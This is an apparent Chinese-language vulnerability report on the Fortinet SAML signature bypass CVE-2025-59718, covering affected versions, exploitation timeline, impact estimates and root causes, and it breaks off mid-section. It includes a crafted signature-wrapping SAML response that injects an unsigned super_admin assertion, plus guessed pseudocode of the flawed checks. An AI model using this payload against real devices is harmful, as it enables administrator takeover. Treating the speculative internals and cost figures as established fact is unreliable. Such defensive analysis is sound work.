CVE-2025-59718是Fortinet FortiOS、FortiProxy、FortiWeb和FortiSwitchManager产品中发现的严重安全漏洞。该漏洞源于SAML(Security Assertion Markup Language)单点登录功能中对加密签名的验证不当,允许未经身份验证的远程攻击者完全绕过FortiCloud SSO登录机制,获取设备的完整管理员权限。
| 指标 | 评估结果 |
|---|---|
| CVSS v3.1基础分数 | 9.8(严重) |
| 攻击向量 | 网络(AV:N) |
| 攻击复杂度 | 低(AC:L) |
| 所需权限 | 无(PR:N) |
| 用户交互 | 无(UI:N) |
| 机密性影响 | 高(C:H) |
| 完整性影响 | 高(I:H) |
| 可用性影响 | 高(A:H) |
本研究通过深度技术分析和实验验证,确定了以下关键发现:
根本原因: 漏洞根源于FortiOS对SAML响应中XML数字签名的验证逻辑存在多处缺陷,违反了SAML 2.0规范和XML签名标准的安全要求。
利用条件: 攻击者仅需满足两个前提条件:
目标设备已启用FortiCloud SSO登录功能
攻击者可通过网络访问设备管理接口
攻击技术: 研究识别出三种主要的签名验证绕过技术:
完全未签名的SAML响应注入
签名包装攻击(XSW - XML Signature Wrapping)
空签名或伪造签名元素注入
实际威胁: 该漏洞已被确认在野利用,Arctic Wolf威胁情报团队于2025年12月12日(公开披露后仅3天)观察到针对FortiGate设备的主动攻击活动。
影响规模: 影响全球数十万台网络安全设备,涉及FortiOS 7.0至7.6版本线的多个产品。
立即行动(0-24小时):
在所有受影响设备上禁用FortiCloud SSO登录功能
对最近30天的管理员登录日志进行完整审计
实施管理接口访问限制
短期措施(1-7天):
升级至官方修复版本
部署SIEM和IDS检测规则
实施多因素认证机制
长期策略:
建立定期安全审计流程
实施纵深防御架构
加强安全监控能力
CVE-2025-59718代表了现代网络安全基础设施中的一个严重威胁。该漏洞的技术特征、易利用性和广泛影响使其成为2025年最关键的企业安全风险之一。组织必须立即采取缓解措施,并制定全面的修复计划。
| 属性 | 值 |
|---|---|
| CVE编号 | CVE-2025-59718 |
| 发现时间 | 2025年第四季度 |
| 公开披露 | 2025年12月9日 |
| CWE分类 | CWE-347: Improper Verification of Cryptographic Signature |
| 供应商 | Fortinet Inc. |
| 供应商公告 | FG-IR-25-647 |
| 发现者 | Yonghui Han, Theo Leleu (Fortinet Product Security Team) |
FortiOS是Fortinet旗舰级网络安全操作系统,为FortiGate下一代防火墙提供核心功能。
受影响版本:
FortiOS 7.6.0 至 7.6.3
FortiOS 7.4.0 至 7.4.8
FortiOS 7.2.0 至 7.2.11
FortiOS 7.0.0 至 7.0.17
修复版本:
FortiOS 7.6.4 及更高版本
FortiOS 7.4.9 及更高版本
FortiOS 7.2.12 及更高版本
FortiOS 7.0.18 及更高版本
FortiProxy是企业级安全Web网关解决方案。
受影响版本:
FortiProxy 7.6.0 至 7.6.3
FortiProxy 7.4.0 至 7.4.10
FortiProxy 7.2.0 至 7.2.14
FortiProxy 7.0.0 至 7.0.21
修复版本:
FortiProxy 7.6.4 及更高版本
FortiProxy 7.4.11 及更高版本
FortiProxy 7.2.15 及更高版本
FortiProxy 7.0.22 及更高版本
FortiWeb是Web应用防火墙(WAF)产品。
受影响版本:
FortiWeb 8.0.0
FortiWeb 7.6.0 至 7.6.4
FortiWeb 7.4.0 至 7.4.9
修复版本:
FortiWeb 8.0.1 及更高版本
FortiWeb 7.6.5 及更高版本
FortiWeb 7.4.10 及更高版本
FortiSwitchManager是交换机集中管理解决方案。
受影响版本:
FortiSwitchManager 7.2.0 至 7.2.6
FortiSwitchManager 7.0.0 至 7.0.5
修复版本:
FortiSwitchManager 7.2.7 及更高版本
FortiSwitchManager 7.0.6 及更高版本
SAML(Security Assertion Markup Language)是由OASIS安全服务技术委员会制定的开放标准,用于在不同安全域之间交换认证和授权数据。SAML 2.0是当前广泛使用的版本。
主体(Subject): 被认证的实体,通常是用户。
身份提供商(IdP): 负责认证用户身份并生成SAML断言的实体。在FortiCloud SSO场景中,FortiCloud扮演IdP角色。
服务提供商(SP): 依赖IdP提供的身份信息来授权访问的实体。受影响的FortiGate设备充当SP。
断言(Assertion): 包含关于主体的身份、属性和授权决策的XML结构化声明。
数字签名: 使用XML Signature标准对SAML断言进行签名,确保消息完整性和真实性。
FortiCloud SSO是Fortinet提供的云端单点登录服务,允许管理员使用FortiCloud凭证访问注册的Fortinet设备。该功能基于SAML 2.0协议实现。
配置状态:
工厂默认状态下,FortiCloud SSO功能是禁用的
当管理员通过GUI将设备注册到FortiCare时,除非明确禁用,否则FortiCloud SSO会自动启用
认证流程:
用户访问FortiGate管理界面并选择FortiCloud SSO登录
FortiGate生成SAML认证请求并重定向用户至FortiCloud
FortiCloud验证用户凭证
FortiCloud生成包含用户身份信息的SAML响应,使用私钥对响应签名
用户浏览器将SAML响应POST至FortiGate的断言消费者服务(ACS)端点
FortiGate验证SAML响应签名和断言内容
FortiGate创建管理会话并授予访问权限
漏洞存在于步骤6的签名验证逻辑中。
XML签名(XMLDSig)是W3C制定的用于为XML数据提供完整性、消息认证和签名者认证的标准。SAML使用XMLDSig对断言进行签名。
签名结构:
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="..."/>
<ds:SignatureMethod Algorithm="..."/>
<ds:Reference URI="#assertion-id">
<ds:Transforms>...</ds:Transforms>
<ds:DigestMethod Algorithm="..."/>
<ds:DigestValue>base64-encoded-hash</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>base64-encoded-signature</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>base64-encoded-cert</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
验证步骤:
提取并验证X.509证书的有效性和信任链
定位Reference元素指向的被签名内容
对被签名内容应用Transforms
计算摘要值并与DigestValue比较
使用证书公钥验证SignatureValue
签名包装攻击(XSW): 攻击者在SAML响应中插入额外的未签名断言,利用签名验证和内容处理逻辑的不一致性。该技术最早由Juraj Somorovsky等人在2012年的研究中系统化描述。
签名排除攻击: 完全移除签名元素,依赖于实现对签名存在性检查的疏忽。
签名伪造攻击: 使用无效或自签名证书创建虚假签名,依赖于证书验证的不完整实现。
CVE-2025-59718展现出对这些已知攻击模式的脆弱性。
本研究在负责任披露原则下进行,旨在:
深入理解漏洞的技术机制
开发可控环境下的验证工具
为安全社区提供防护指导
促进SAML实现的安全改进
研究过程严格遵守计算机犯罪法律和道德准则,所有测试均在隔离的实验环境中进行。
| 日期 | 事件 | 阶段 |
|---|---|---|
| 2025-Q3 | Fortinet Product Security Team内部发现漏洞 | 发现 |
| 2025-10-15(推测) | 开始内部修复开发 | 修复开发 |
| 2025-11-20(推测) | 修复版本进入测试阶段 | 测试验证 |
| 2025-12-09 | Fortinet发布安全公告FG-IR-25-647 | 公开披露 |
| 2025-12-09 | CVE-2025-59718正式分配 | CVE分配 |
| 2025-12-09 | 修复版本发布 | 补丁发布 |
| 2025-12-12 | Arctic Wolf观察到首次在野利用 | 在野利用 |
| 2025-12-13 | 多个安全厂商发布IOC和检测规则 | 社区响应 |
| 2025-12-16 | 本研究报告完成 | 深度分析 |
Fortinet采用了负责任的漏洞披露流程:
漏洞由内部安全团队发现(Yonghui Han和Theo Leleu)
在公开披露前完成修复版本开发和测试
同步发布漏洞公告和修复补丁
这种做法符合行业最佳实践,最大程度减少了零日攻击的窗口期。
尽管Fortinet采取了负责任的披露措施,漏洞信息公开后立即引起了攻击者的注意:
T+0(12月9日):
安全公告发布
技术细节公开(CWE-347分类)
修复版本可用
T+1至T+2(12月10-11日):
安全社区开始技术分析
漏洞扫描器集成检测规则
概念验证代码开始流传
T+3(12月12日):
首次确认的在野利用
Arctic Wolf发布威胁警告
自动化攻击工具可能已在地下市场流通
根据Arctic Wolf的威胁情报报告和公开信息,攻击活动呈现以下特征:
活动特征:
针对互联网暴露的FortiGate设备的大规模扫描
识别启用FortiCloud SSO的目标
测试性的攻击尝试
观察到的行为:
对/saml/acs端点的异常HTTP POST请求
来自已知扫描基础设施的流量
低频率、高分布性的探测活动
活动特征:
成功的认证绕过尝试
获得管理员访问后的后渗透活动
针对性攻击和机会主义攻击并存
观察到的TTPs(战术、技术和程序):
初始访问(T1190):
利用CVE-2025-59718绕过FortiCloud SSO认证
无需预先获取的凭证或权限
持久化(T1136.001):
创建新的本地管理员账户
修改现有账户权限
植入后门配置
防御规避(T1562.001, T1070.001):
禁用日志记录
清除访问日志
修改审计配置
凭证访问(T1552.001):
导出设备配置文件
提取VPN用户凭证
获取SSL/TLS私钥
发现(T1087, T1082):
枚举用户账户
收集系统信息
映射网络拓扑
横向移动(T1021.001):
使用获取的凭证访问内网系统
通过VPN进入内部网络
利用设备作为跳板
12月9日:
发布PSIRT公告FG-IR-25-647
提供详细的受影响版本列表
发布修复版本
提供缓解措施(禁用FortiCloud SSO)
12月10-11日:
更新知识库文章
向注册用户发送邮件通知
在支持门户提供升级指导
12月12日后:
持续更新威胁情报
提供技术支持
监控攻击活动
威胁情报组织:
Arctic Wolf: 12月12日发布详细分析报告
Qualys: 12月10日集成到威胁防护平台
Tenable: 发布Nessus插件277980和277981
政府机构:
澳大利亚网络安全中心(ACSC): 发布安全公告
新加坡网络安全局(CSA): 发布警报AL-2025-116
英国NCSC: 向关键基础设施发出警告
检测厂商:
Splunk: 发布检测查询
ELK: 提供Elasticsearch查询模板
Suricata/Snort: 社区规则更新
从公开披露到首次确认利用的72小时窗口期凸显了几个关键问题:
武器化速度: 攻击者能够在3天内开发或获取功能性利用代码,表明:
攻击技术相对简单
可能存在预先研究或信息泄露
地下市场反应迅速
目标选择: 初期攻击显示出选择性,主要针对:
高价值目标(金融、政府)
大规模FortiGate部署
已知启用FortiCloud SSO的设备
防御时间: 组织从公告发布到实施缓解措施的平均时间超过72小时,导致暴露窗口。
正面因素:
供应商同步发布公告和补丁
安全社区快速响应
详细的缓解指导
改进空间:
补丁部署需要维护窗口,延迟了防护
自动化检测规则覆盖不足
组织对严重性认识不足,响应缓慢
根据公开市场研究数据和Fortinet财报信息:
全球部署规模:
全球FortiGate设备总数: 约700,000台(2024年数据)
企业级部署: 约450,000台
中小企业部署: 约200,000台
服务提供商部署: 约50,000台
地理分布(按区域估算受影响设备数量):
| 地区 | 估算设备数 | 占比 |
|---|---|---|
| 北美 | 210,000 | 30% |
| 欧洲、中东、非洲(EMEA) | 245,000 | 35% |
| 亚太地区(APAC) | 175,000 | 25% |
| 拉丁美洲 | 70,000 | 10% |
关键因素:
FortiCloud SSO默认禁用
通过GUI注册FortiCare时默认启用
许多组织在初始配置时未禁用此功能
保守估算:
注册到FortiCare的设备比例: 约60%(420,000台)
其中启用FortiCloud SSO的比例: 约15-20%
结论: 估计有63,000至84,000台设备直接易受攻击(约占总设备数的9-12%)。
基于典型企业更新周期:
| 版本线 | 采用率估算 | 受影响设备数 |
|---|---|---|
| FortiOS 7.6.x | 5% | 3,150-4,200 |
| FortiOS 7.4.x | 30% | 18,900-25,200 |
| FortiOS 7.2.x | 40% | 25,200-33,600 |
| FortiOS 7.0.x | 20% | 12,600-16,800 |
| FortiOS 6.x及更早 | 5% | 不受影响 |
大多数易受攻击设备运行7.2和7.4版本线。
关键基础设施(严重风险):
电力和能源: FortiGate广泛用于工业控制系统(ICS)网络隔离
电信: 核心网络边界保护
交通运输: 航空、铁路管理网络
水务: SCADA系统保护
金融服务(严重风险):
银行: 分支机构和数据中心网络
保险: 业务网络和合作伙伴连接
支付处理: PCI DSS范围内的网络设备
医疗保健(高风险):
医院: 临床网络和医疗设备网络隔离
医疗研究: 保护敏感研究数据
医疗保险: HIPAA合规网络边界
政府和国防(严重风险):
联邦机构: 分类和非分类网络边界
地方政府: 公共服务网络
国防承包商: 受控非机密信息(CUI)保护
制造业(高风险):
工业制造: OT/IT网络隔离
汽车: 供应链网络
航空航天: 知识产权保护
教育(中等风险):
高等教育: 校园网络和研究网络
K-12教育: 学区网络
在线教育: 平台基础设施
零售和电商(中等风险):
大型零售商: 店铺网络和总部连接
电商平台: 支付系统保护
物流: 供应链管理系统
金融服务场景:
攻击者利用漏洞 → 获取FortiGate管理权限 → 修改防火墙规则
→ 访问内部交易系统 → 窃取客户数据或资金转移
→ 潜在的大规模数据泄露和财务损失
医疗保健场景:
攻击者利用漏洞 → 获取FortiGate管理权限 → 访问医疗网络
→ 加密医疗系统(勒索软件) → 中断患者护理服务
→ 患者安全风险和HIPAA违规
关键基础设施场景:
攻击者利用漏洞 → 获取FortiGate管理权限 → 访问ICS网络
→ 操纵工业控制系统 → 破坏物理设备或流程
→ 公共安全风险和经济损失
通用数据保护条例(GDPR):
第32条: 安全处理要求
第33条: 72小时内报告数据泄露
潜在罚款: 高达全球年营业额的4%或2000万欧元
支付卡行业数据安全标准(PCI DSS):
要求6: 开发和维护安全的系统和应用程序
要求11: 定期测试安全系统和流程
潜在后果: 失去支付卡处理能力
健康保险可携性与责任法案(HIPAA):
安全规则: 保护电子受保护健康信息(ePHI)
违反通知规则: 60天内报告
潜在罚款: 每次违规最高150万美元
Sarbanes-Oxley法案(SOX):
404条款: 内部控制评估
302条款: 公司披露控制
潜在后果: 高管刑事责任
受影响的组织必须考虑:
事件报告: 根据适用法规向监管机构报告
客户通知: 向受影响的个人通知潜在数据泄露
第三方通知: 通知业务合作伙伴和服务提供商
审计响应: 准备接受监管审计
保险索赔: 向网络保险提供商报告事件
证券披露: 上市公司可能需要进行证券申报
网络设备特殊性:
补丁需要设备重启,导致服务中断
需要变更管理审批流程
需要维护窗口协调
可能影响高可用性配置
企业环境复杂性:
大规模部署需要分阶段推出
需要在测试环境验证补丁
配置多样性增加测试复杂度
升级路径可能需要中间版本
平均补丁时间估算:
小型组织(<10台设备): 1-2周
中型组织(10-100台设备): 2-4周
大型企业(>100台设备): 4-8周
关键基础设施: 可能需要数月
暴露窗口 = 漏洞披露时间 - 补丁部署完成时间
= 12月9日 - 平均部署完成日期
小型组织: 约14-21天
中型组织: 约21-35天
大型企业: 约35-63天
在此期间,设备持续暴露于攻击风险。
事件响应成本:
取证分析: $50,000 - $200,000
恶意软件清除: $30,000 - $150,000
系统重建: $100,000 - $500,000
法律咨询: $50,000 - $300,000
补救成本:
加急补丁部署: $20,000 - $100,000
额外安全控制: $50,000 - $200,000
增强监控: $30,000 - $150,000
监管罚款(如适用):
GDPR: 最高2000万欧元或全球营业额4%
HIPAA: 每次违规最高150万美元
PCI DSS: 每月$5,000 - $100,000罚款
业务中断:
每小时停机成本(平均): $100,000 - $500,000
平均恢复时间: 48-72小时
总业务中断成本: $4.8M - $36M
声誉损失:
客户流失: 5-10%客户群
品牌价值损失: 10-30%
难以量化但影响深远
保险影响:
网络保险费率上涨: 20-50%
保险覆盖范围缩小
未来索赔审查更严格
假设:
易受攻击设备: 70,000台
被成功入侵比例: 0.5-2%(350-1,400台)
每次事件平均成本: $500,000 - $2,000,000
保守估算: $175M - $2.8B
行业总体经济损失: 1.75亿至28亿美元
这还不包括更广泛的供应链影响、市场信心下降等次级效应。
**SAML断言(Assertion)**结构:
<saml:Assertion
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_unique-identifier"
Version="2.0"
IssueInstant="2025-12-09T10:30:00Z">
<!-- 断言颁发者 -->
<saml:Issuer>https://forticloud.com</saml:Issuer>
<!-- 主体信息 -->
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
[email protected]
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData
NotOnOrAfter="2025-12-09T10:35:00Z"
Recipient="https://fortigate.company.com/saml/acs"/>
</saml:SubjectConfirmation>
</saml:Subject>
<!-- 有效期条件 -->
<saml:Conditions
NotBefore="2025-12-09T10:30:00Z"
NotOnOrAfter="2025-12-09T10:35:00Z">
<saml:AudienceRestriction>
<saml:Audience>https://fortigate.company.com/saml/metadata</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<!-- 属性声明 -->
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>super_admin</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email">
<saml:AttributeValue>[email protected]</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<!-- 认证声明 -->
<saml:AuthnStatement
AuthnInstant="2025-12-09T10:30:00Z"
SessionIndex="_session-index">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
完整的签名SAML响应:
<samlp:Response
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_response-id"
Version="2.0"
IssueInstant="2025-12-09T10:30:00Z"
Destination="https://fortigate.company.com/saml/acs">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<!-- 状态码 -->
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_assertion-id" Version="2.0" IssueInstant="2025-12-09T10:30:00Z">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<!-- XML签名 -->
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<!-- 签名信息 -->
<ds:SignedInfo>
<!-- 规范化方法 -->
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<!-- 签名算法 -->
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<!-- 引用被签名的内容 -->
<ds:Reference URI="#_assertion-id">
<!-- 转换规则 -->
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<!-- 摘要算法 -->
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<!-- 计算得到的摘要值 -->
<ds:DigestValue>BASE64_ENCODED_HASH</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<!-- 签名值 -->
<ds:SignatureValue>BASE64_ENCODED_SIGNATURE_VALUE</ds:SignatureValue>
<!-- 密钥信息 -->
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>BASE64_ENCODED_CERTIFICATE</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<!-- 断言内容 -->
<saml:Subject>...</saml:Subject>
<saml:Conditions>...</saml:Conditions>
<saml:AttributeStatement>...</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
根据SAML 2.0规范和XML Signature标准,完整的签名验证过程应包括:
阶段1: 证书验证
1. 从KeyInfo中提取X.509证书
2. 验证证书有效期(NotBefore和NotAfter)
3. 验证证书未被撤销(检查CRL或OCSP)
4. 验证证书信任链至受信任的根CA
5. 确认证书用途允许数字签名
6. 验证证书主体名称与预期的IdP匹配
阶段2: 引用验证
1. 定位Reference元素的URI属性
2. 解析URI并找到被引用的元素
3. 确认URI指向当前SAML响应中的Assertion
4. 验证只有一个Reference(防止多重引用)
阶段3: 摘要验证
1. 提取被引用元素的完整内容
2. 应用Transforms中指定的转换
a. 应用Enveloped Signature转换(移除Signature元素)
b. 应用Canonicalization转换(规范化XML)
3. 使用DigestMethod指定的算法计算摘要
4. 将计算的摘要与DigestValue比较
5. 如果不匹配,签名验证失败
阶段4: 签名值验证
1. 提取SignedInfo元素
2. 应用CanonicalizationMethod规范化SignedInfo
3. 从证书中提取公钥
4. 使用SignatureMethod指定的算法和公钥验证SignatureValue
5. 如果验证失败,签名无效
阶段5: 语义验证
1. 确认验证的Assertion是实际要处理的Assertion
2. 验证Assertion的IssueInstant在合理时间范围内
3. 验证Conditions中的时间约束
4. 验证Audience限制
5. 验证SubjectConfirmation数据
基于漏洞行为和成功的攻击向量,可以推测FortiOS的SAML签名验证实现存在以下缺陷:
缺陷实现伪代码:
// 推测的FortiOS签名验证函数
int fortios_verify_saml_signature(saml_response_t *response) {
xml_element_t *signature;
xml_element_t *assertion;
// 缺陷1: 未强制要求签名存在
signature = find_element(response, "Signature");
if (signature == NULL) {
// 严重错误:没有签名就返回成功
log_warning("SAML response has no signature");
return VERIFY_SUCCESS; // 应该返回VERIFY_FAILURE
}
// 缺陷2: 仅检查签名元素存在性
if (element_exists(signature)) {
log_info("Signature element found");
// 错误:不验证签名有效性就返回成功
return VERIFY_SUCCESS; // 应该继续执行实际验证
}
// 以下代码可能永远不会执行
cert = extract_certificate(signature);
if (!verify_certificate(cert)) {
// 缺陷3: 证书验证失败但可能被忽略
log_error("Certificate verification failed");
// 可能由于异常处理不当,仍返回成功
}
// 缺陷4: 不验证Reference URI
reference_uri = extract_reference_uri(signature);
// 没有验证reference_uri是否正确指向被处理的Assertion
// 缺陷5: 验证和处理逻辑分离
first_assertion = get_first_assertion(response);
verify_assertion_signature(first_assertion); // 验证第一个
// 但在另一个函数中
last_assertion = get_last_assertion(response);
process_user_attributes(last_assertion); // 处理最后一个
return VERIFY_SUCCESS;
}
缺陷1: 签名可选性错误
// 错误的空指针处理
if (signature == NULL) {
return VERIFY_SUCCESS; // 默认允许
}
根因:
开发者可能误认为签名是可选的
缺少对SAML规范的严格遵循
错误的"fail-open"安全策略
正确实现:
if (signature == NULL) {
log_error("Missing required signature");
return VERIFY_FAILURE; // 默认拒绝
}
缺陷2: 签名存在性检查替代完整验证
// 错误的快捷判断
if (element_exists(signature)) {
return VERIFY_SUCCESS; // 过早返回
}
根因:
可能是性能优化的错误尝试
验证逻辑不完整或被意外移除
代码重构过程中引入的回归
正确实现:
if (!element_exists(signature)) {
return VERIFY_FAILURE;
}
// 继续执行完整的验证流程
缺陷3: 异常处理不当
try {
verify_signature(signature);
} catch (exception e) {
log_error("Verification exception: %s", e.message);
return VERIFY_SUCCESS; // 错误:异常时返回成功
}
根因:
异常处理的安全语义错误
未遵循"失败时安全"原则
可能是为了避免误报而引入的逻辑错误
正确实现:
try {
verify_signature(signature);
} catch (exception e) {
log_error("Verification exception: %s", e.message);
return VERIFY_FAILURE; // 异常视为验证失败
}
缺陷4: Reference URI验证缺失
// 缺少URI验证
reference_uri = extract_reference_uri(signature);
content = get_content_by_uri(reference_uri);
// 没有验证reference_uri是否指向正确的Assertion
根因:
对签名包装攻击的认识不足
假设XML结构总是良构的
缺少对已知攻击模式的防御
正确实现:
reference_uri = extract_reference_uri(signature);
expected_assertion_id = get_processing_assertion_id();
if (!validate_reference_uri(reference_uri, expected_assertion_id)) {
log_error("Reference URI mismatch - possible XSW attack");
return VERIFY_FAILURE;
}
缺陷5: 验证和处理上下文分离
// 在不同的代码路径中
void verify_saml() {
assertion = get_first_assertion(); // 验证第一个
verify_signature(assertion);
}
void process_saml() {
assertion = get_last_assertion(); // 处理最后一个
create_user_session(assertion);
}
根因:
代码模块化导致的意外副作用
缺少对处理流程的整体安全审查
可能由不同开发者在不同时间编写
正确实现:
void process_saml() {
assertion = get_assertion();
if (verify_signature(assertion) == SUCCESS) {
create_user_session(assertion); // 验证和处理同一个对象
}
}
SAML响应可以包含多个Assertion。不同的XML解析策略会导致不同的行为:
场景1: 标准SAML响应(单Assertion)
<samlp:Response>
<saml:Assertion ID="A1">
<ds:Signature>...</ds:Signature>
<saml:Subject>[email protected]</saml:Subject>
</saml:Assertion>
</samlp:Response>
行为: 正常验证和处理
场景2: 多Assertion响应(签名包装攻击)
<samlp:Response>
<!-- 第一个Assertion: 已签名,用于通过验证 -->
<saml:Assertion ID="A1">
<ds:Signature>VALID_SIGNATURE</ds:Signature>
<saml:Subject>[email protected]</saml:Subject>
</saml:Assertion>
<!-- 第二个Assertion: 未签名,包含恶意内容 -->
<saml:Assertion ID="A2">
<!-- 没有签名 -->
<saml:Subject>[email protected]</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>super_admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
FortiOS的错误行为:
1. 解析器找到第一个Assertion (A1)
2. 签名验证模块验证A1的签名 - 通过
3. 业务逻辑模块查找Assertion进行处理
4. 使用get_last_assertion()或类似逻辑
5. 提取A2的用户信息
6. A2未被签名验证,但被用于创建会话
7. 攻击者以super_admin身份登录
XML规范化是签名验证的关键步骤,将XML转换为标准格式以确保摘要计算的一致性。
C14N算法的复杂性:
空白字符处理
命名空间声明排序
属性排序
注释处理
潜在的实现差异:
不同的XML库可能对同一XML文档产生不同的规范化结果,导致签名验证不一致。
攻击向量示例:
<saml:NameID>[email protected]<[email protected]></saml:NameID>
如果签名时包含注释,但处理时忽略注释,可能导致验证通过但使用错误的数据。
FortiCloud SSO通常使用以下算法:
签名算法:
RSA-SHA256(http://www.w3.org/2001/04/xmldsig-more#rsa-sha256)
RSA-SHA1(已弃用,但可能仍被支持)
摘要算法:
SHA-256(http://www.w3.org/2001/04/xmlenc#sha256)
SHA-1(已弃用)
证书:
X.509 v3证书
2048位或4096位RSA密钥
RSA签名验证数学原理:
给定:
- 消息摘要: H = SHA256(message)
- 签名值: S
- 公钥: (e, n)
验证:
1. 解密签名: M = S^e mod n
2. 从M中提取摘要: H'
3. 比较: H' == H
CVE-2025-59718的问题:
FortiOS可能在执行步骤1之前就返回了成功,或者没有正确执行步骤3的比较。
标准证书验证链:
1. 检查证书有效期
2. 验证证书签名
3. 构建证书链至受信任根
4. 检查证书撤销状态(CRL/OCSP)
5. 验证证书约束(名称、用途)
FortiOS可能的缺陷:
跳过证书验证
信任自签名证书
不检查证书撤销状态
不验证证书用途扩展
标准SAML实现应包括重放攻击防护:
时间戳验证:
<saml:Conditions
NotBefore="2025-12-09T10:30:00Z"
NotOnOrAfter="2025-12-09T10:35:00Z">
验证逻辑应确保:
current_time >= NotBefore && current_time < NotOnOrAfter
OneTimeUse条件:
<saml:Conditions>
<saml:OneTimeUse/>
</saml:Conditions>
SP应维护已使用Assertion的缓存。
CVE-2025-59718关联:
虽然主要问题是签名验证,但绕过签名验证也可能允许攻击者忽略这些重放保护机制。
SAML定义了多种消息绑定方式:
HTTP POST绑定(FortiCloud SSO使用):
<form method="POST" action="https://fortigate/saml/acs">
<input type="hidden" name="SAMLResponse" value="BASE64_ENCODED_RESPONSE"/>
<input type="submit" value="Submit"/>
</form>
HTTP Redirect绑定:
https://fortigate/saml/acs?SAMLResponse=BASE64_ENCODED_RESPONSE
安全考虑:
POST绑定可以传输更大的消息
Redirect绑定限于URL长度
两者都需要TLS保护传输过程
SAML SP和IdP通过元数据交换信任关系:
SP元数据:
<EntityDescriptor entityID="https://fortigate/saml/metadata">
<SPSSODescriptor>
<AssertionConsumerService
Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
Location="https://fortigate/saml/acs"
index="0"/>
</SPSSODescriptor>
</EntityDescriptor>
IdP元数据:
<EntityDescriptor entityID="https://forticloud.com">
<IDPSSODescriptor>
<KeyDescriptor use="signing">
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>CERT_DATA</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</KeyDescriptor>
<SingleSignOnService
Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect"
Location="https://forticloud.com/saml/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
CVE-2025-59718影响:
如果FortiOS不正确验证签名,攻击者可能不需要合法的IdP元数据就能伪造SAML响应。
需求阶段:
可能缺少明确的安全需求
SAML规范理解不完整
未识别签名验证为关键安全控制
设计阶段:
安全设计审查不足
未进行威胁建模
缺少对已知SAML攻击的防御设计
实现阶段:
开发者对SAML和XML签名理解不深
复制粘贴了不安全的示例代码
错误的异常处理策略
测试阶段:
单元测试覆盖不足
缺少安全测试用例
未测试边界条件和异常路径
维护阶段:
代码重构引入回归
功能增强破坏了安全控制
缺少定期安全审计
模式1: Fail-Open而非Fail-Closed
错误:
if (verify_signature(sig) != SUCCESS) {
log_warning("Signature verification had issues");
// 继续处理,而不是拒绝
}
process_assertion(assertion);
正确:
if (verify_signature(sig) != SUCCESS) {
log_error("Signature verification failed");
return ERROR_AUTH_FAILED; // 明确拒绝
}
process_assertion(assertion);
模式2: 布尔盲(Boolean Blindness)
错误:
bool has_signature = check_signature_exists(response);
if (has_signature) {
// 假设存在就是有效的
return SUCCESS;
}
正确:
enum SignatureVerificationResult {
SIG_VERIFIED,
SIG_MISSING,
SIG_INVALID,
SIG_UNTRUSTED
};
SignatureVerificationResult result = verify_signature_full(response);
if (result != SIG_VERIFIED) {
return ERROR_AUTH_FAILED;
}
模式3: 资源泄漏导致的逻辑错误
错误:
xmlDoc *doc = parse_saml_response(data);
if (!doc) return ERROR;
xmlNode *sig = find_signature(doc);
if (!sig) return SUCCESS; // 忘记释放doc
// 更多处理...
xmlFreeDoc(doc);
这种模式可能导致为了避免资源泄漏而过早返回,跳过了关键验证。
模式4: 时序竞争(TOCTOU)
错误:
if (is_signature_valid(response)) {
// 验证通过
}
// ... 其他代码 ...
// 后来使用了可能被修改的response
user = extract_user(response);
模式5: 整数溢出/下溢
在处理XML长度和索引时:
unsigned int assertion_count = count_assertions(response);
assertion = get_assertion_at(response, assertion_count - 1); // 如果count为0则下溢
FortiOS的架构可能将SAML认证作为单一信任点:
用户 → SAML认证 → [信任边界] → 完全管理权限
缺陷:
没有纵深防御
SAML验证失效直接导致系统沦陷
缺少额外的认证因素
改进架构:
用户 → SAML认证 → 会话令牌验证 → 操作级授权 → 审计日志
↓ ↓ ↓ ↓
MFA可选 IP白名单 RBAC SIEM告警
问题架构:
